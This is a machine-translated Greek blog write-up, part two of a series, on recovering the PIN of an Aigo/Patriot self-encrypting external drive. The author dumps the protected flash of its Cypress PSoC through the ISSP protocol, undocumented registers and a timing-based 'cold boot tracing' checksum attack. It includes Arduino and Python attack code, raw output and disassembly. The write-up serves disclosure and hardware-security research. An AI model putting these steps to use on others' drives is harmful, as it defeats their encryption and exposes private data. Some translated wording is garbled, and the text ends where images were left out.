Αντιστροφή και παραβίαση αυτοκρυπτογραφούμενης εξωτερικής μονάδας σκληρού δίσκου Aigo. Μέρος 2: Λήψη χωματερής από το Cypress PSoC

Αυτό είναι το δεύτερο και τελευταίο μέρος του άρθρου σχετικά με την παραβίαση εξωτερικών μονάδων αυτοκρυπτογράφησης. Επιτρέψτε μου να σας υπενθυμίσω ότι ένας συνάδελφος μου έφερε πρόσφατα έναν σκληρό δίσκο Patriot (Aigo) SK8671 και αποφάσισα να τον αντιστρέψω και τώρα μοιράζομαι αυτό που προέκυψε από αυτόν. Πριν διαβάσετε περαιτέρω, φροντίστε να διαβάσετε πρώτο μέρος άρθρα.

4. Αρχίζουμε να παίρνουμε απόρριψη από την εσωτερική μονάδα flash PSoC
5. Πρωτόκολλο ISSP
– 5.1. Τι είναι το ISSP
– 5.2. Απομυθοποιώντας Διανύσματα
– 5.3. Επικοινωνία με PSoC
– 5.4. Αναγνώριση καταχωρητών στο τσιπ
– 5.5. Στοιχεία ασφαλείας
6. Πρώτη (αποτυχημένη) επίθεση: ROMX
7. Second Attack: Cold Boot Tracing
– 7.1. Εκτέλεση
– 7.2. Διαβάζοντας το αποτέλεσμα
– 7.3. Flash δυαδική ανακατασκευή
– 7.4. Εύρεση της διεύθυνσης αποθήκευσης του κωδικού PIN
– 7.5. Λαμβάνοντας μια χωματερή του οικοπέδου Νο. 126
– 7.6. Ανάκτηση κωδικού PIN
8. Τι ακολουθεί;
9. Συμπέρασμα

Αντιστροφή και παραβίαση αυτοκρυπτογραφούμενης εξωτερικής μονάδας σκληρού δίσκου Aigo. Μέρος 2: Λήψη χωματερής από το Cypress PSoC


4. Αρχίζουμε να παίρνουμε απόρριψη από την εσωτερική μονάδα flash PSoC

Έτσι, όλα δείχνουν (όπως διαπιστώσαμε στο [το πρώτο μέρος]()) ότι ο κωδικός PIN αποθηκεύεται στα βάθη φλας του PSoC. Επομένως, πρέπει να διαβάσουμε αυτά τα βάθη φλας. Μέτωπο απαραίτητων εργασιών:

  • να αναλάβει τον έλεγχο της «επικοινωνίας» με τον μικροελεγκτή.
  • βρείτε έναν τρόπο να ελέγξετε εάν αυτή η «επικοινωνία» προστατεύεται από την εξωτερική ανάγνωση.
  • βρείτε έναν τρόπο να παρακάμψετε την προστασία.

Υπάρχουν δύο μέρη όπου είναι λογικό να αναζητήσετε έναν έγκυρο κωδικό PIN:

  • εσωτερική μνήμη flash?
  • SRAM, όπου ο κωδικός PIN μπορεί να αποθηκευτεί για να τον συγκρίνει με τον κωδικό PIN που έχει εισάγει ο χρήστης.

Κοιτάζοντας το μέλλον, θα σημειώσω ότι κατάφερα να πάρω απόρριψη της εσωτερικής μονάδας flash PSoC - παρακάμπτοντας το σύστημα ασφαλείας της χρησιμοποιώντας μια επίθεση υλικού που ονομάζεται "cold boot tracing" - αφού αντιστράφηκα τις μη τεκμηριωμένες δυνατότητες του πρωτοκόλλου ISSP. Αυτό μου επέτρεψε να απορρίψω απευθείας τον πραγματικό κωδικό PIN.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Τελικός κωδικός προγράμματος:

5. Πρωτόκολλο ISSP

5.1. Τι είναι το ISSP

Η "επικοινωνία" με έναν μικροελεγκτή μπορεί να σημαίνει διαφορετικά πράγματα: από "πωλητής σε προμηθευτή" έως αλληλεπίδραση χρησιμοποιώντας ένα σειριακό πρωτόκολλο (για παράδειγμα, ICSP για το PIC του Microchip).

Το Cypress έχει το δικό του ιδιόκτητο πρωτόκολλο για αυτό, που ονομάζεται ISSP (σειριακό πρωτόκολλο προγραμματισμού εντός συστήματος), το οποίο περιγράφεται εν μέρει στο τεχνικές προδιαγραφές. Ευρεσιτεχνία US7185162 δίνει και κάποιες πληροφορίες. Υπάρχει επίσης ένα ισοδύναμο OpenSource που ονομάζεται HSSP (θα το χρησιμοποιήσουμε λίγο αργότερα). Το ISSP λειτουργεί ως εξής:

  • επανεκκίνηση PSoC?
  • εξάγετε τον μαγικό αριθμό στην καρφίτσα σειριακών δεδομένων αυτού του PSoC. για είσοδο σε λειτουργία εξωτερικού προγραμματισμού.
  • αποστολή εντολών, οι οποίες είναι μεγάλες συμβολοσειρές bit που ονομάζονται "διανύσματα".

Η τεκμηρίωση του ISSP ορίζει αυτά τα διανύσματα μόνο για μια μικρή χούφτα εντολών:

  • Initialize-1
  • Initialize-2
  • Initialize-3 (επιλογές 3V και 5V)
  • ID-SETUP
  • READ-ID-WORD
  • SET-BLOCK-NUM: 10011111010ddddddd111, όπου dddddddd=μπλοκ #
  • Μαζική ΣΒΗΣΗ
  • ΠΡΟΓΡΑΜΜΑ-ΜΠΛΟΚ
  • ΕΠΑΛΗΘΕΥΣΗ-ΡΥΘΜΙΣΗ
  • READ-BYTE: 10110aaaaaaZDDDDDDDDDZ1, όπου DDDDDDDDD = έξοδος δεδομένων, aaaaaa = διεύθυνση (6 bit)
  • WRITE-BYTE: 10010aaaaaaddddddd111, όπου dddddddd = δεδομένα εισέρχονται, aaaaaa = διεύθυνση (6 bit)
  • ΑΣΦΑΛΗΣ
  • ΕΛΕΓΧΟΣ-ΡΥΘΜΙΣΗ
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, όπου DDDDDDDDDDDDDDDDD = έξοδος δεδομένων: άθροισμα ελέγχου συσκευής
  • ΣΒΗΣΗ ΜΠΛΟΚ

Για παράδειγμα, το διάνυσμα για το Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Όλα τα διανύσματα έχουν το ίδιο μήκος: 22 bit. Η τεκμηρίωση HSSP έχει κάποιες πρόσθετες πληροφορίες για το ISSP: "Ένα διάνυσμα ISSP δεν είναι τίποτα περισσότερο από μια ακολουθία bit που αντιπροσωπεύει ένα σύνολο εντολών."

5.2. Απομυθοποιώντας Διανύσματα

Ας καταλάβουμε τι συμβαίνει εδώ. Αρχικά, υπέθεσα ότι αυτά τα ίδια διανύσματα ήταν ακατέργαστες εκδόσεις των εντολών M8C, αλλά αφού έλεγξα αυτήν την υπόθεση, ανακάλυψα ότι οι κωδικοί λειτουργίας των πράξεων δεν ταιριάζουν.

Μετά έψαξα στο google το διάνυσμα παραπάνω και βρήκα Αυτό μια μελέτη όπου ο συγγραφέας, αν και δεν μπαίνει σε λεπτομέρειες, δίνει μερικές χρήσιμες συμβουλές: «Κάθε οδηγία ξεκινά με τρία bit που αντιστοιχούν σε ένα από τα τέσσερα μνημονικά (read from RAM, write to RAM, read register, write register). Στη συνέχεια, υπάρχουν 8 bit διεύθυνσης, ακολουθούμενα από 8 bit δεδομένων (ανάγνωση ή εγγραφή) και τέλος τρία bit διακοπής.»

Στη συνέχεια, μπόρεσα να συγκεντρώσω μερικές πολύ χρήσιμες πληροφορίες από την ενότητα Supervisory ROM (SROM). τεχνικό εγχειρίδιο. Το SROM είναι μια σκληρά κωδικοποιημένη ROM στο PSoC που παρέχει βοηθητικές λειτουργίες (με παρόμοιο τρόπο με το Syscall) για κώδικα προγράμματος που εκτελείται στο χώρο χρήστη:

  • 00h:SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: TableRead
  • 07h: CheckSum
  • 08h: Βαθμονόμηση0
  • 09h: Βαθμονόμηση1

Συγκρίνοντας ονόματα διανυσμάτων με συναρτήσεις SROM, μπορούμε να αντιστοιχίσουμε τις διάφορες λειτουργίες που υποστηρίζονται από αυτό το πρωτόκολλο στις αναμενόμενες παραμέτρους SROM. Χάρη σε αυτό, μπορούμε να αποκωδικοποιήσουμε τα τρία πρώτα bit των διανυσμάτων ISSP:

  • 100 => "wrem"
  • 101 => "rdmem"
  • 110 => "wrreg"
  • 111 => "rdreg"

Ωστόσο, η πλήρης κατανόηση των διαδικασιών στο chip μπορεί να επιτευχθεί μόνο μέσω άμεσης επικοινωνίας με το PSoC.

5.3. Επικοινωνία με PSoC

Αφού ο Dirk Petrautsky το έχει ήδη μεταφερόμενος Ο κώδικας HSSP της Cypress στο Arduino, χρησιμοποίησα το Arduino Uno για να συνδεθώ στην υποδοχή ISSP της πλακέτας του πληκτρολογίου.

Σημειώστε ότι κατά τη διάρκεια της έρευνάς μου, άλλαξα αρκετά τον κώδικα του Dirk. Μπορείτε να βρείτε την τροποποίησή μου στο GitHub: εδώ και το αντίστοιχο σενάριο Python για επικοινωνία με το Arduino, στο αποθετήριο μου cypress_psoc_tools.

Έτσι, χρησιμοποιώντας το Arduino, χρησιμοποίησα αρχικά μόνο τα «επίσημα» διανύσματα για «επικοινωνία». Προσπάθησα να διαβάσω την εσωτερική ROM χρησιμοποιώντας την εντολή VERIFY. Όπως ήταν αναμενόμενο, δεν μπόρεσα να το κάνω αυτό. Πιθανώς λόγω του γεγονότος ότι τα bit προστασίας ανάγνωσης είναι ενεργοποιημένα μέσα στη μονάδα flash.

Στη συνέχεια δημιούργησα μερικά από τα δικά μου απλά διανύσματα για γραφή και ανάγνωση μνήμης/μητρώων. Λάβετε υπόψη ότι μπορούμε να διαβάσουμε ολόκληρο το SROM παρόλο που η μονάδα flash είναι προστατευμένη!

5.4. Αναγνώριση καταχωρητών στο τσιπ

Αφού κοίταξα τα «αποσυναρμολογημένα» διανύσματα, ανακάλυψα ότι η συσκευή χρησιμοποιεί μη τεκμηριωμένους καταχωρητές (0xF8-0xFA) για να καθορίσει τους κωδικούς λειτουργίας M8C, οι οποίοι εκτελούνται απευθείας, παρακάμπτοντας την προστασία. Αυτό μου επέτρεψε να εκτελέσω διάφορους κωδικούς λειτουργίας όπως "ADD", "MOV A, X", "PUSH" ή "JMP". Χάρη σε αυτούς (εξετάζοντας τις παρενέργειες που έχουν στα μητρώα) μπόρεσα να προσδιορίσω ποια από τα μη τεκμηριωμένα μητρώα ήταν στην πραγματικότητα κανονικοί καταχωρητές (A, X, SP και PC).

Ως αποτέλεσμα, ο "αποσυναρμολογημένος" κώδικας που δημιουργείται από το εργαλείο HSSP_disas.rb μοιάζει με αυτό (πρόσθεσα σχόλια για λόγους σαφήνειας):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Στοιχεία ασφαλείας

Σε αυτό το στάδιο μπορώ ήδη να επικοινωνήσω με το PSoC, αλλά δεν έχω ακόμα αξιόπιστες πληροφορίες σχετικά με τα bit ασφαλείας της μονάδας flash. Με εξέπληξε πολύ το γεγονός ότι το Cypress δεν παρέχει στον χρήστη της συσκευής κανένα μέσο για να ελέγξει αν είναι ενεργοποιημένη η προστασία. Έσκαψα βαθύτερα στο Google για να καταλάβω τελικά ότι ο κώδικας HSSP που παρείχε η Cypress ενημερώθηκε αφού ο Dirk κυκλοφόρησε την τροποποίηση του. Και έτσι! Αυτός ο νέος φορέας εμφανίστηκε:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Χρησιμοποιώντας αυτό το διάνυσμα (δείτε read_security_data στο psoc.py), λαμβάνουμε όλα τα bit ασφαλείας στη SRAM στο 0x80, όπου υπάρχουν δύο bit ανά προστατευμένο μπλοκ.

Το αποτέλεσμα είναι καταθλιπτικό: τα πάντα προστατεύονται στη λειτουργία "απενεργοποίηση εξωτερικής ανάγνωσης και εγγραφής". Επομένως, όχι μόνο δεν μπορούμε να διαβάσουμε τίποτα από μια μονάδα flash, αλλά δεν μπορούμε να γράψουμε τίποτα (για παράδειγμα, να εγκαταστήσουμε ένα ανατρεπόμενο ROM εκεί). Και ο μόνος τρόπος για να απενεργοποιήσετε την προστασία είναι να διαγράψετε εντελώς ολόκληρο το τσιπ. 🙁

6. Πρώτη (αποτυχημένη) επίθεση: ROMX

Ωστόσο, μπορούμε να δοκιμάσουμε το εξής κόλπο: αφού έχουμε τη δυνατότητα να εκτελούμε αυθαίρετους κωδικούς λειτουργίας, γιατί να μην εκτελέσουμε το ROMX, το οποίο χρησιμοποιείται για την ανάγνωση της μνήμης flash; Αυτή η προσέγγιση έχει καλές πιθανότητες επιτυχίας. Επειδή η συνάρτηση ReadBlock που διαβάζει δεδομένα από το SROM (το οποίο χρησιμοποιείται από διανύσματα) ελέγχει αν καλείται από τον ISSP. Ωστόσο, ο κωδικός λειτουργίας ROMX μπορεί να μην έχει τέτοιο έλεγχο. Να λοιπόν ο κώδικας Python (αφού προσθέσουμε μερικές βοηθητικές κλάσεις στον κώδικα Arduino):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Δυστυχώς αυτός ο κωδικός δεν λειτουργεί. 🙁 Ή μάλλον λειτουργεί, αλλά στην έξοδο παίρνουμε τους δικούς μας opcodes (0x28 0x30 0x40)! Δεν νομίζω ότι η αντίστοιχη λειτουργικότητα της συσκευής είναι στοιχείο προστασίας ανάγνωσης. Αυτό μοιάζει περισσότερο με ένα κόλπο μηχανικής: κατά την εκτέλεση εξωτερικών κωδικών λειτουργίας, ο δίαυλος ROM ανακατευθύνεται σε μια προσωρινή προσωρινή μνήμη.

7. Second Attack: Cold Boot Tracing

Δεδομένου ότι το τέχνασμα ROMX δεν λειτούργησε, άρχισα να σκέφτομαι μια άλλη παραλλαγή αυτού του κόλπου - που περιγράφεται στη δημοσίευση "Προστασία υλικολογισμικού ενός μικροελεγκτή".

7.1. Εκτέλεση

Η τεκμηρίωση του ISSP παρέχει το ακόλουθο διάνυσμα για το CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Αυτό ουσιαστικά καλεί τη συνάρτηση SROM 0x07, όπως παρουσιάζεται στην τεκμηρίωση (η δική μου με πλάγια γράμματα):

Αυτή η συνάρτηση επαλήθευση αθροίσματος ελέγχου. Υπολογίζει ένα άθροισμα ελέγχου 16-bit του αριθμού των μπλοκ που καθορίζονται από τον χρήστη σε μια τράπεζα flash, ξεκινώντας από το μηδέν. Η παράμετρος BLOCKID χρησιμοποιείται για τη διέλευση του αριθμού των μπλοκ που θα χρησιμοποιηθούν κατά τον υπολογισμό του αθροίσματος ελέγχου. Η τιμή "1" θα υπολογίσει μόνο το άθροισμα ελέγχου για το μπλοκ μηδέν. ενώ Το "0" θα προκαλέσει τον υπολογισμό του συνολικού αθροίσματος ελέγχου και των 256 μπλοκ της τράπεζας flash. Το άθροισμα ελέγχου των 16 bit επιστρέφεται μέσω των KEY1 και KEY2. Η παράμετρος KEY1 αποθηκεύει τα 8 bit χαμηλής τάξης του αθροίσματος ελέγχου και η παράμετρος KEY2 αποθηκεύει τα 8 bit υψηλής τάξης. Για συσκευές με πολλές τράπεζες flash, η συνάρτηση αθροίσματος ελέγχου καλείται για κάθε μία ξεχωριστά. Ο αριθμός τράπεζας με τον οποίο θα λειτουργήσει ορίζεται από τον καταχωρητή FLS_PR1 (ρυθμίζοντας το bit σε αυτόν που αντιστοιχεί στην στοχευόμενη τράπεζα flash).

Σημειώστε ότι πρόκειται για ένα απλό άθροισμα ελέγχου: τα byte απλώς προστίθενται το ένα μετά το άλλο. χωρίς φανταχτερές ιδιορρυθμίες CRC. Επιπλέον, γνωρίζοντας ότι ο πυρήνας M8C έχει ένα πολύ μικρό σύνολο καταχωρητών, υπέθεσα ότι κατά τον υπολογισμό του αθροίσματος ελέγχου, οι ενδιάμεσες τιμές θα καταγραφούν στις ίδιες μεταβλητές που τελικά θα πάνε στην έξοδο: KEY1 (0xF8) / KEY2 ( 0xF9).

Οπότε θεωρητικά η επίθεσή μου μοιάζει με αυτό:

  1. Συνδεόμαστε μέσω ISSP.
  2. Ξεκινάμε τον υπολογισμό του αθροίσματος ελέγχου χρησιμοποιώντας το διάνυσμα CHECKSUM-SETUP.
  3. Κάνουμε επανεκκίνηση του επεξεργαστή μετά από ένα καθορισμένο χρονικό διάστημα T.
  4. Διαβάζουμε τη μνήμη RAM για να λάβουμε το τρέχον άθροισμα ελέγχου C.
  5. Επαναλάβετε τα βήματα 3 και 4, αυξάνοντας το T λίγο κάθε φορά.
  6. Ανακτούμε δεδομένα από μια μονάδα flash αφαιρώντας το προηγούμενο άθροισμα ελέγχου C από το τρέχον.

Ωστόσο, υπάρχει ένα πρόβλημα: το διάνυσμα Initialize-1 που πρέπει να στείλουμε μετά την επανεκκίνηση αντικαθιστά τα KEY1 και KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Αυτός ο κωδικός αντικαθιστά το πολύτιμο άθροισμα ελέγχου καλώντας το Calibrate1 (λειτουργία SROM 9)... Μήπως μπορούμε απλώς να στείλουμε τον μαγικό αριθμό (από την αρχή του παραπάνω κωδικού) για να μπούμε στη λειτουργία προγραμματισμού και μετά να διαβάσουμε το SRAM; Και ναι, λειτουργεί! Ο κώδικας Arduino που υλοποιεί αυτήν την επίθεση είναι αρκετά απλός:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Διαβάστε checkum_delay.
  2. Εκτελέστε τον υπολογισμό του αθροίσματος ελέγχου (send_checksum_v).
  3. Περιμένετε για μια καθορισμένη χρονική περίοδο. λαμβάνοντας υπόψη τις ακόλουθες παγίδες:
    • Έχασα πολύ χρόνο μέχρι να μάθω τι βγαίνει καθυστέρηση Μικροδευτερόλεπτα λειτουργεί σωστά μόνο με καθυστερήσεις που δεν υπερβαίνουν τα 16383 μs.
    • και μετά σκότωσε ξανά τον ίδιο χρόνο μέχρι που ανακάλυψα ότι το delayMicroseconds, αν μεταβιβαστεί το 0 σε αυτό ως είσοδος, λειτουργεί εντελώς λανθασμένα!
  4. Επανεκκινήστε το PSoC σε λειτουργία προγραμματισμού (απλώς στέλνουμε τον μαγικό αριθμό, χωρίς να στείλουμε διανύσματα προετοιμασίας).

Τελικός κώδικας στην Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Με λίγα λόγια, τι κάνει αυτός ο κώδικας:

  1. Επανεκκινεί το PSoC (και του στέλνει έναν μαγικό αριθμό).
  2. Στέλνει διανύσματα πλήρους προετοιμασίας.
  3. Καλεί τη συνάρτηση Arduino Cmnd_STK_START_CSUM (0x85), όπου η καθυστέρηση σε μικροδευτερόλεπτα μεταβιβάζεται ως παράμετρος.
  4. Διαβάζει το άθροισμα ελέγχου (0xF8 και 0xF9) και τον μη τεκμηριωμένο καταχωρητή 0xF1.

Αυτός ο κώδικας εκτελείται 10 φορές σε 1 μικροδευτερόλεπτο. Το 0xF1 περιλαμβάνεται εδώ επειδή ήταν ο μόνος καταχωρητής που άλλαξε κατά τον υπολογισμό του αθροίσματος ελέγχου. Ίσως είναι κάποιο είδος προσωρινής μεταβλητής που χρησιμοποιείται από την αριθμητική λογική μονάδα. Σημειώστε το άσχημο hack που χρησιμοποιώ για να επαναφέρω το Arduino χρησιμοποιώντας το picocom όταν το Arduino σταματήσει να δείχνει σημάδια ζωής (δεν έχω ιδέα γιατί).

7.2. Διαβάζοντας το αποτέλεσμα

Το αποτέλεσμα του σεναρίου Python μοιάζει με αυτό (απλοποιημένο για αναγνωσιμότητα):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Τούτου λεχθέντος, έχουμε ένα πρόβλημα: δεδομένου ότι λειτουργούμε με ένα πραγματικό άθροισμα ελέγχου, ένα μηδενικό byte δεν αλλάζει την τιμή ανάγνωσης. Ωστόσο, δεδομένου ότι ολόκληρη η διαδικασία υπολογισμού (8192 bytes) διαρκεί 0,1478 δευτερόλεπτα (με μικρές διακυμάνσεις κάθε φορά που εκτελείται), που ισοδυναμεί με περίπου 18,04 μs ανά byte, μπορούμε να χρησιμοποιήσουμε αυτόν τον χρόνο για να ελέγξουμε την τιμή του αθροίσματος ελέγχου σε κατάλληλες στιγμές. Για τις πρώτες εκτελέσεις, τα πάντα διαβάζονται αρκετά εύκολα, αφού η διάρκεια της υπολογιστικής διαδικασίας είναι πάντα σχεδόν η ίδια. Ωστόσο, το τέλος αυτής της ένδειξης είναι λιγότερο ακριβές επειδή οι «μικρές αποκλίσεις χρονισμού» σε κάθε εκτέλεση αθροίζονται και γίνονται σημαντικές:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Αυτό είναι 10 dumps για κάθε καθυστέρηση μικροδευτερόλεπτου. Ο συνολικός χρόνος λειτουργίας για την απόρριψη και των 8192 byte μιας μονάδας flash είναι περίπου 48 ώρες.

7.3. Flash δυαδική ανακατασκευή

Δεν έχω ολοκληρώσει ακόμα τη συγγραφή του κώδικα που θα ανακατασκευάσει πλήρως τον κωδικό προγράμματος της μονάδας flash, λαμβάνοντας υπόψη όλες τις χρονικές αποκλίσεις. Ωστόσο, έχω ήδη επαναφέρει την αρχή αυτού του κώδικα. Για να βεβαιωθώ ότι το έκανα σωστά, το αποσυναρμολόγησα χρησιμοποιώντας m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Φαίνεται αρκετά εύλογο!

7.4. Εύρεση της διεύθυνσης αποθήκευσης του κωδικού PIN

Τώρα που μπορούμε να διαβάσουμε το άθροισμα ελέγχου τις στιγμές που χρειαζόμαστε, μπορούμε εύκολα να ελέγξουμε πώς και πού αλλάζει όταν:

  • εισάγετε λάθος κωδικό PIN.
  • αλλάξτε τον κωδικό PIN.

Αρχικά, για να βρω την κατά προσέγγιση διεύθυνση αποθήκευσης, έκανα μια ένδειξη αθροίσματος ελέγχου σε βήματα των 10 ms μετά από μια επανεκκίνηση. Μετά έβαλα λάθος PIN και έκανα το ίδιο.

Το αποτέλεσμα δεν ήταν ιδιαίτερα ευχάριστο, αφού υπήρξαν πολλές αλλαγές. Αλλά στο τέλος μπόρεσα να προσδιορίσω ότι το άθροισμα ελέγχου άλλαξε κάπου μεταξύ 120000 µs και 140000 µs καθυστέρησης. Αλλά το "pincode" που εμφάνισα εκεί ήταν εντελώς λανθασμένο - λόγω ενός τεχνουργήματος της διαδικασίας delayMicroseconds, που κάνει περίεργα πράγματα όταν μεταβιβάζεται το 0 σε αυτό.

Στη συνέχεια, αφού πέρασα σχεδόν 3 ώρες, θυμήθηκα ότι η κλήση συστήματος SROM CheckSum λαμβάνει ένα όρισμα ως είσοδο που καθορίζει τον αριθμό των μπλοκ για το άθροισμα ελέγχου! Οτι. μπορούμε εύκολα να εντοπίσουμε τη διεύθυνση αποθήκευσης του κωδικού PIN και του μετρητή «λανθασμένων προσπαθειών», με ακρίβεια έως και 64 byte.

Οι αρχικές μου εκτελέσεις έφεραν το ακόλουθο αποτέλεσμα:

Αντιστροφή και παραβίαση αυτοκρυπτογραφούμενης εξωτερικής μονάδας σκληρού δίσκου Aigo. Μέρος 2: Λήψη χωματερής από το Cypress PSoC

Στη συνέχεια άλλαξα τον κωδικό PIN από "123456" σε "1234567" και πήρα:

Αντιστροφή και παραβίαση αυτοκρυπτογραφούμενης εξωτερικής μονάδας σκληρού δίσκου Aigo. Μέρος 2: Λήψη χωματερής από το Cypress PSoC

